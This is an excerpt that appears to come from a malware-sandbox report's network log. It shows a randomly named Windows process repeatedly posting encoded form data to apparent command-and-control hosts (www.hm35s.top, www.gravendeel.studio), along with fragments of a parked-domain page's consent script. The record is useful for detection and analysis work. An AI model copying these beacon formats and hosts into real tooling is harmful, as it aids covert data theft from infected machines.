Dec 3, 2024 14:40:33.093997955 CET	1236	IN	Data Raw: 63 3d 62 2e 73 75 62 73 74 72 28 62 2e 69 6e 64 65 78 4f 66 28 22 3d 22 29 2b 31 2c 62 2e 6c 65 6e 67 74 68 29 7d 69 66 28 68 3d 3d 67 29 7b 66 3d 63 7d 76 61 72 20 65 3d 62 2e 69 6e 64 65 78 4f 66 28 22 3b 22 29 2b 31 3b 69 66 28 65 3d 3d 30 29 Data Ascii: c=b.substr(b.indexOf("=")+1,b.length)}if(h==g){f=c}var e=b.indexOf(";")+1;if(e==0){e=b.length}b=b.substring(e,b.length)}return(f)};window.cmp_stub=function(){var a=arguments;__cmp.a=__cmp.a\|\|[];if(!a.length){return __cmp.a}else{if(a[0]==="ping
Dec 3, 2024 14:40:33.094085932 CET	1236	IN	Data Raw: 70 70 2e 6c 61 73 74 49 64 3b 5f 5f 67 70 70 2e 65 2e 70 75 73 68 28 7b 69 64 3a 63 2c 63 61 6c 6c 62 61 63 6b 3a 66 7d 29 3b 72 65 74 75 72 6e 7b 65 76 65 6e 74 4e 61 6d 65 3a 22 6c 69 73 74 65 6e 65 72 52 65 67 69 73 74 65 72 65 64 22 2c 6c 69 Data Ascii: pp.lastId;__gpp.e.push({id:c,callback:f});return{eventName:"listenerRegistered",listenerId:c,data:true,pingData:window.cmp_gpp_ping()}}else{if(g==="removeEventListener"){var h=false;__gpp.e=__gpp.e\|\|[];for(var d=0;d<__gpp.e.length;d++){if(__gp
Dec 3, 2024 14:40:33.094099998 CET	1236	IN	Data Raw: 28 74 79 70 65 6f 66 28 63 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 63 21 3d 3d 6e 75 6c 6c 26 26 22 5f 5f 74 63 66 61 70 69 43 61 6c 6c 22 20 69 6e 20 63 29 7b 76 61 72 20 62 3d 63 2e 5f 5f 74 63 66 61 70 69 43 61 6c 6c 3b 77 69 6e 64 6f 77 2e Data Ascii: (typeof(c)==="object"&&c!==null&&"__tcfapiCall" in c){var b=c.__tcfapiCall;window.__tcfapi(b.command,b.version,function(h,g){var e={__tcfapiReturn:{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")},b.pa
Dec 3, 2024 14:40:33.094321012 CET	1236	IN	Data Raw: 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 28 22 5f 5f 75 73 70 61 70 69 4c 6f 63 61 74 6f 72 22 29 7d 69 66 28 21 28 22 63 6d 70 5f 64 69 73 61 62 6c 65 74 63 66 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 21 77 69 6e 64 6f 77 2e Data Ascii: {window.cmp_addFrame("__uspapiLocator")}if(!("cmp_disabletcf" in window)\|\|!window.cmp_disabletcf){window.cmp_addFrame("__tcfapiLocator")}if(!("cmp_disablegpp" in window)\|\|!window.cmp_disablegpp){window.cmp_addFrame("__gppLocator")}window.cmp_s
Dec 3, 2024 14:40:33.169816017 CET	1236	IN	Data Raw: 65 66 69 6e 65 64 22 20 26 26 20 61 62 70 65 72 75 72 6c 21 3d 22 22 29 77 69 6e 64 6f 77 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 3d 61 62 70 65 72 75 72 6c 3b 7d 63 61 74 63 68 28 65 72 72 29 7b 7d 7d 3c 2f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 Data Ascii: efined" && abperurl!="")window.top.location=abperurl;}catch(err){}}</script><meta name="tids" content="a='29620' b='33565' c='614genetics.online' d='entity_mapped'" /><title>614genetics.online</title><meta http-equiv="Content-Type" content="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50043	154.23.184.95	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:39.150326014 CET	794	OUT	POST /tb3j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.hm35s.top Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.hm35s.top Referer: http://www.hm35s.top/tb3j/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 48 51 76 6c 47 53 67 58 42 57 33 76 58 37 4e 31 38 71 54 71 55 30 4d 58 54 69 2f 4c 78 77 46 4e 50 4a 73 34 7a 4a 52 4f 50 4f 79 6c 48 69 42 4d 59 76 45 6b 55 68 50 4b 72 4f 58 6c 76 50 54 74 51 79 4b 68 58 58 39 59 30 76 51 57 72 32 63 47 56 48 46 73 6b 47 36 6c 56 70 77 31 74 2b 73 75 61 6a 75 55 41 71 35 64 64 6f 4c 38 4c 7a 35 68 31 72 4a 36 38 65 59 67 52 4d 44 54 56 58 71 61 2b 41 76 50 54 6b 33 38 77 6f 70 33 6d 4c 56 4a 33 49 76 53 43 69 51 76 44 62 31 51 72 33 35 45 64 67 47 68 67 31 4a 68 61 44 35 44 51 48 2b 6f 45 79 65 76 69 69 45 79 74 33 70 58 70 76 37 79 65 51 6f 30 56 37 6b 65 66 6d 31 69 Data Ascii: u6nP_F48=HQvlGSgXBW3vX7N18qTqU0MXTi/LxwFNPJs4zJROPOylHiBMYvEkUhPKrOXlvPTtQyKhXX9Y0vQWr2cGVHFskG6lVpw1t+suajuUAq5ddoL8Lz5h1rJ68eYgRMDTVXqa+AvPTk38wop3mLVJ3IvSCiQvDb1Qr35EdgGhg1JhaD5DQH+oEyeviiEyt3pXpv7yeQo0V7kefm1i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50044	154.23.184.95	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:41.813071012 CET	818	OUT	POST /tb3j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.hm35s.top Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.hm35s.top Referer: http://www.hm35s.top/tb3j/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 48 51 76 6c 47 53 67 58 42 57 33 76 57 66 4a 31 39 4a 4c 71 52 55 4d 55 66 43 2f 4c 6a 77 46 33 50 4a 6f 34 7a 4c 38 56 4f 37 71 6c 45 43 52 4d 5a 72 59 6b 54 68 50 4b 7a 65 58 73 69 76 53 41 51 79 58 63 58 57 78 59 30 76 45 57 72 7a 77 47 56 30 64 76 6d 57 36 6e 4e 5a 77 7a 67 65 73 75 61 6a 75 55 41 73 55 49 64 73 6e 38 49 48 39 68 31 4b 4a 31 2f 65 59 76 53 4d 44 54 66 48 71 65 2b 41 76 74 54 6d 43 58 77 71 52 33 6d 4b 6c 4a 33 63 37 4e 56 53 52 71 65 4c 31 41 76 46 59 42 53 54 44 43 67 30 78 2b 46 6a 78 53 63 52 6a 79 59 42 65 4d 77 79 6b 77 74 31 78 6c 70 50 37 59 63 51 51 30 48 73 6f 35 51 53 51 42 4a 78 4b 64 57 78 47 6e 50 6a 76 62 44 58 64 4a 4c 77 67 6d 30 77 3d 3d Data Ascii: u6nP_F48=HQvlGSgXBW3vWfJ19JLqRUMUfC/LjwF3PJo4zL8VO7qlECRMZrYkThPKzeXsivSAQyXcXWxY0vEWrzwGV0dvmW6nNZwzgesuajuUAsUIdsn8IH9h1KJ1/eYvSMDTfHqe+AvtTmCXwqR3mKlJ3c7NVSRqeL1AvFYBSTDCg0x+FjxScRjyYBeMwykwt1xlpP7YcQQ0Hso5QSQBJxKdWxGnPjvbDXdJLwgm0w==
Dec 3, 2024 14:40:43.420348883 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:40:43 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a5f968-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50045	154.23.184.95	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:44.484373093 CET	1831	OUT	POST /tb3j/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.hm35s.top Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.hm35s.top Referer: http://www.hm35s.top/tb3j/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 48 51 76 6c 47 53 67 58 42 57 33 76 57 66 4a 31 39 4a 4c 71 52 55 4d 55 66 43 2f 4c 6a 77 46 33 50 4a 6f 34 7a 4c 38 56 4f 37 69 6c 45 77 70 4d 59 4d 73 6b 53 68 50 4b 2f 2b 58 70 69 76 53 34 51 79 66 51 58 57 73 6c 30 74 38 57 36 6c 6b 47 46 42 78 76 76 57 36 6e 52 70 77 79 74 2b 73 37 61 6a 2b 59 41 73 6b 49 64 73 6e 38 49 47 4e 68 7a 62 4a 31 7a 2b 59 67 52 4d 44 66 56 58 71 79 2b 41 6e 58 54 6d 48 73 77 2b 74 33 6d 71 31 4a 37 4a 76 4e 4a 43 52 6f 64 4c 30 66 76 46 55 4b 53 51 33 6b 67 30 56 45 46 6b 42 53 66 32 61 47 47 54 57 4c 7a 42 34 64 38 33 39 42 68 66 76 4e 45 7a 45 53 50 65 6f 61 59 54 73 35 4f 47 32 71 65 58 4c 36 45 56 50 71 4c 48 38 6a 47 79 35 36 6b 2b 61 30 30 74 79 79 2f 6d 6b 44 39 49 46 75 33 4f 73 57 73 30 2f 5a 59 57 77 30 51 62 6c 41 59 78 42 43 53 75 70 61 54 46 63 37 4e 57 4f 4b 44 36 39 70 6b 79 4e 34 47 69 44 55 49 42 6c 34 49 49 4c 74 42 38 37 73 65 41 63 4e 59 31 66 67 4a 62 49 62 43 33 46 6d 50 4f 41 38 37 54 54 32 79 74 45 4f 48 4f 50 4b 78 [TRUNCATED] Data Ascii: u6nP_F48=HQvlGSgXBW3vWfJ19JLqRUMUfC/LjwF3PJo4zL8VO7ilEwpMYMskShPK/+XpivS4QyfQXWsl0t8W6lkGFBxvvW6nRpwyt+s7aj+YAskIdsn8IGNhzbJ1z+YgRMDfVXqy+AnXTmHsw+t3mq1J7JvNJCRodL0fvFUKSQ3kg0VEFkBSf2aGGTWLzB4d839BhfvNEzESPeoaYTs5OG2qeXL6EVPqLH8jGy56k+a00tyy/mkD9IFu3OsWs0/ZYWw0QblAYxBCSupaTFc7NWOKD69pkyN4GiDUIBl4IILtB87seAcNY1fgJbIbC3FmPOA87TT2ytEOHOPKxBZqUV5XcWM2NDia+v6ElahkAwGRcRGwItl4GA3NdPNFJaZTJfZY9KHhhEr0XA1zpl47Ty0Cw+VjUKLsvwjkWKnL8dgJCa80yzB9UT/tjdn7pWW6zY9h9ZNh4pIN+IFNbAab9NmpUCle7swQB3HYMVbjzltE9toKR9VpREYOd2n0Egk6+erZD3aQzwYqV3toPG7iWgvKHTS71q7ur1jIqC5mkkmknR6uAngEIS1eA3S4bLS1xOwZU1stfReo4eNkiVwi/ZQdwrPnhLvfgjibWHPBmv6DrGMWYYMRzdui03pkLW+DMpVA5d2uekD7iGWvLhDsEPcmtaqkI/HVw2ciTcwfDBUUdfw4SAQXWWEcRAACclcu+KZlkoZAlkFIvrLNRF2wLzOc70iKMbXXo1DUlCeBAxHT6rP1uYgSeJyDvxNADr6cuYsUkyscZfqbgOh3//xcqpKt41OThzPzhSAafttQCMJB5MwvpnU2UeVRrb5ZyXQbHJGs2wSf/FXkfuAQB4LhJA/GdK4YnCG9p85NPoyJ5gCCZGZRaMNoaWay1gUkYWCqJqQXYdicEos4XFxIa7+K+nrwD6FtEYyAR+GizehO8aphY3MhVf7PdJrd2FbRyg/XmpIkk42DAGalyndWYUhVOnDKnJvRvXuWtChAvRIkcU4jYv+hdBo [TRUNCATED]
Dec 3, 2024 14:40:46.073420048 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:40:45 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a5f968-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50046	154.23.184.95	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:47.154345989 CET	549	OUT	GET /tb3j/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=KSHFFnYTGWj/ZMhm+avBOUk2TTzM3y8YS8Rf4LhuEMPHAxZPTsF4EjHc/8b3mL3nQQOBHU115ds5/08vb05btA7AesMNksIJY0axPJ9FedzLP3Na7bRMzIAWWfH5e2OB5R7SOhY= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.hm35s.top Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:40:48.765579939 CET	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:40:48 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a5f968-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50047	172.104.18.233	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:54.605845928 CET	818	OUT	POST /7hhj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.gravendeel.studio Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.gravendeel.studio Referer: http://www.gravendeel.studio/7hhj/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 51 32 71 45 73 66 54 54 32 37 6e 42 43 4b 42 6e 49 66 7a 53 59 61 39 4a 56 56 63 71 4e 62 61 76 4e 2b 76 2b 41 5a 30 38 6a 57 78 4a 72 4d 42 48 62 4d 5a 71 4f 56 4f 6c 6b 65 61 45 75 6e 4d 76 62 48 64 44 63 6f 6e 62 61 48 69 54 43 53 42 4b 30 72 43 46 65 4f 73 48 34 69 68 57 62 78 50 6c 35 33 37 44 34 74 4e 72 4c 56 6f 38 7a 6f 6b 57 31 44 39 47 66 32 2b 58 70 4e 67 77 7a 79 65 43 72 2b 42 53 61 66 7a 4e 72 45 43 71 6a 33 6d 44 32 73 63 70 2f 52 46 66 64 65 62 74 64 51 49 61 5a 7a 6a 42 74 70 52 50 38 4b 43 61 32 6b 77 44 4e 65 6a 2f 79 6a 45 43 72 4a 58 61 58 47 6d 63 6e 56 37 75 2f 54 4c 48 46 34 74 65 Data Ascii: u6nP_F48=Q2qEsfTT27nBCKBnIfzSYa9JVVcqNbavN+v+AZ08jWxJrMBHbMZqOVOlkeaEunMvbHdDconbaHiTCSBK0rCFeOsH4ihWbxPl537D4tNrLVo8zokW1D9Gf2+XpNgwzyeCr+BSafzNrECqj3mD2scp/RFfdebtdQIaZzjBtpRP8KCa2kwDNej/yjECrJXaXGmcnV7u/TLHF4te
Dec 3, 2024 14:40:55.729502916 CET	416	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:40:55 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: br Data Raw: 62 65 0d 0a a1 d0 09 00 20 06 ad ab 6f 49 73 1d 8c 90 23 de 5c 6f 21 77 77 36 48 26 d1 6c 4a f0 f2 bd 09 4d 88 22 4d a6 a7 3e 17 0c eb b2 4b 9a 7e 14 ca c9 ed 66 2c 5c 14 4c 50 b4 56 12 da 58 d4 d8 43 b7 f1 38 51 86 60 3d 8b 2c cf 71 6e 26 79 b0 bf ce 27 6d 5d 04 f3 3d 64 5e 46 76 7d 41 c3 3c a3 16 13 c8 19 67 85 3f 71 dd 09 9a df 73 27 68 44 b9 69 8d ae 43 40 4d 59 af b0 d5 42 be d3 13 97 eb 0b 6d 47 fc f5 01 ed 35 56 e1 6e a1 0c 74 d7 d3 9f c6 84 22 3c e9 1d 92 e5 f5 65 b0 75 bd c2 b3 b1 37 31 e2 fd 5c 63 ba c0 0d 30 58 56 36 8d 2b ae ff 11 ab c3 a3 05 ca de a4 70 43 70 04 0d 0a 30 0d 0a 0d 0a Data Ascii: be oIs#\o!ww6H&lJM"M>K~f,\LPVXC8Q`=,qn&y'm]=d^Fv}A<g?qs'hDiC@MYBmG5Vnt"<eu71\c0XV6+pCp0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50048	172.104.18.233	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:40:57.284466982 CET	842	OUT	POST /7hhj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.gravendeel.studio Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.gravendeel.studio Referer: http://www.gravendeel.studio/7hhj/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 51 32 71 45 73 66 54 54 32 37 6e 42 45 76 52 6e 62 73 72 53 66 36 39 4f 65 31 63 71 44 37 61 6a 4e 2b 72 2b 41 59 67 73 6a 45 56 4a 72 73 78 48 59 4f 78 71 4a 56 4f 6c 72 2b 62 41 67 48 4d 67 62 48 42 39 63 70 72 62 61 48 32 54 43 53 78 4b 30 38 32 43 59 4f 73 46 77 43 68 49 57 52 50 6c 35 33 37 44 34 74 4a 46 4c 55 41 38 79 59 55 57 31 67 6c 46 53 57 2b 55 2b 39 67 77 6c 43 66 71 72 2b 41 33 61 61 62 6e 72 43 47 71 6a 32 57 44 32 39 63 6f 31 52 46 64 43 75 62 36 52 67 42 69 64 31 79 53 73 62 42 76 74 59 71 58 2b 79 74 5a 52 74 6a 63 67 7a 6b 41 72 4c 50 6f 58 6d 6d 32 6c 56 44 75 74 45 48 67 4b 4d 49 39 61 48 76 6e 79 63 4f 41 47 72 48 4e 65 44 78 44 61 46 53 37 74 51 3d 3d Data Ascii: u6nP_F48=Q2qEsfTT27nBEvRnbsrSf69Oe1cqD7ajN+r+AYgsjEVJrsxHYOxqJVOlr+bAgHMgbHB9cprbaH2TCSxK082CYOsFwChIWRPl537D4tJFLUA8yYUW1glFSW+U+9gwlCfqr+A3aabnrCGqj2WD29co1RFdCub6RgBid1ySsbBvtYqX+ytZRtjcgzkArLPoXmm2lVDutEHgKMI9aHvnycOAGrHNeDxDaFS7tQ==
Dec 3, 2024 14:40:58.365456104 CET	416	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:40:58 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: br Data Raw: 62 65 0d 0a a1 d0 09 00 20 06 ad ab 6f 49 73 1d 8c 90 23 de 5c 6f 21 77 77 36 48 26 d1 6c 4a f0 f2 bd 09 4d 88 22 4d a6 a7 3e 17 0c eb b2 4b 9a 7e 14 ca c9 ed 66 2c 5c 14 4c 50 b4 56 12 da 58 d4 d8 43 b7 f1 38 51 86 60 3d 8b 2c cf 71 6e 26 79 b0 bf ce 27 6d 5d 04 f3 3d 64 5e 46 76 7d 41 c3 3c a3 16 13 c8 19 67 85 3f 71 dd 09 9a df 73 27 68 44 b9 69 8d ae 43 40 4d 59 af b0 d5 42 be d3 13 97 eb 0b 6d 47 fc f5 01 ed 35 56 e1 6e a1 0c 74 d7 d3 9f c6 84 22 3c e9 1d 92 e5 f5 65 b0 75 bd c2 b3 b1 37 31 e2 fd 5c 63 ba c0 0d 30 58 56 36 8d 2b ae ff 11 ab c3 a3 05 ca de a4 70 43 70 04 0d 0a 30 0d 0a 0d 0a Data Ascii: be oIs#\o!ww6H&lJM"M>K~f,\LPVXC8Q`=,qn&y'm]=d^Fv}A<g?qs'hDiC@MYBmG5Vnt"<eu71\c0XV6+pCp0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50049	172.104.18.233	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:00.045715094 CET	1855	OUT	POST /7hhj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.gravendeel.studio Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.gravendeel.studio Referer: http://www.gravendeel.studio/7hhj/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 51 32 71 45 73 66 54 54 32 37 6e 42 45 76 52 6e 62 73 72 53 66 36 39 4f 65 31 63 71 44 37 61 6a 4e 2b 72 2b 41 59 67 73 6a 45 64 4a 73 66 4a 48 59 70 74 71 49 56 4f 6c 31 4f 62 44 67 48 4d 48 62 48 5a 48 63 70 33 4c 61 45 4f 54 44 7a 52 4b 6a 5a 61 43 4c 75 73 46 38 69 68 56 62 78 50 77 35 33 72 59 34 74 5a 46 4c 55 41 38 79 61 38 57 69 6a 39 46 51 57 2b 58 70 4e 67 56 7a 79 66 52 72 2b 59 4e 61 61 66 64 72 79 6d 71 6b 57 47 44 30 50 30 6f 76 52 46 6c 44 75 61 2f 52 67 64 39 64 78 71 65 73 5a 68 56 74 59 65 58 76 53 68 47 55 35 76 38 36 69 34 46 72 36 75 50 63 78 75 43 39 48 36 51 6b 6d 62 58 55 63 59 4d 65 69 57 78 36 38 37 50 4b 61 72 54 59 47 38 31 54 52 53 77 30 30 6c 6e 70 6b 62 36 52 58 49 44 50 45 6b 63 6e 6a 6a 31 78 6b 45 59 6e 2b 4b 59 78 4d 70 2b 35 66 4b 41 2b 74 75 35 6e 4c 35 67 53 55 37 4e 57 63 50 69 31 76 72 52 79 33 53 75 39 66 2f 73 38 41 54 61 55 6c 55 63 4e 73 68 2b 5a 36 4e 53 58 38 69 72 66 57 73 41 34 4d 4c 62 78 68 43 78 58 41 46 43 47 36 6e 2b 72 [TRUNCATED] Data Ascii: u6nP_F48=Q2qEsfTT27nBEvRnbsrSf69Oe1cqD7ajN+r+AYgsjEdJsfJHYptqIVOl1ObDgHMHbHZHcp3LaEOTDzRKjZaCLusF8ihVbxPw53rY4tZFLUA8ya8Wij9FQW+XpNgVzyfRr+YNaafdrymqkWGD0P0ovRFlDua/Rgd9dxqesZhVtYeXvShGU5v86i4Fr6uPcxuC9H6QkmbXUcYMeiWx687PKarTYG81TRSw00lnpkb6RXIDPEkcnjj1xkEYn+KYxMp+5fKA+tu5nL5gSU7NWcPi1vrRy3Su9f/s8ATaUlUcNsh+Z6NSX8irfWsA4MLbxhCxXAFCG6n+r1sVgaX4F5NAXLIjdWShS8tKDLB0JbrxP/XOcTFxrMVYHQG1wF6Eocrf4hfT0fWuGESrmdl4hm5ZjXmHKz872oGxOBWnNveJ60hEVCL/HHfiIgSArPyX3NJRRvLuFSpSDzEy61twk7fF8l6Sh+taN8RUDfy8UFhrs879zrAE2oPtqllEN1q0eIObDAKmSDFzQx12jNZzRhqgttnybFQRFbjOy5eThWuPq3ye2LWv9mDW0UKHFquOqVIWG5/m3/1MqTAA2qRze3bvHvbUsqKb22RH3Wb4FCKo7LUf5ex0acCWgqvZpecc1WYuvbNk6qX+3s9HGkUandSGMjwAM81n3b09ffKY33OK7abSdFIMkcZTqVrFh4h6L5IEiuXcNtsaDySjTQd/FO/KlZteXbftIcA7U5PIg/feHgFrCR/PRTMMxp+nKfu8dFtB7f2GzliX5WYtd3ylKcHhUwoaIN8PeLjg489jbzd5Q6D8cplfvEciMRRJidK3MULQUmKYolMDaOjfTUl6jl6YUf4CZ6atfcO3VpCIcLv3udUOc/tcWfvpd+TJjdaC3d3oXcS7ooVF3I6UGF+aeUy7+2C6w8xUrLLMAdlOkx4cMgnNWJyBEqmCar+840/oRSvcppW+o0+5xG3qoLvXqZ0cIySchtm6+IUEHs722JpjUA6 [TRUNCATED]
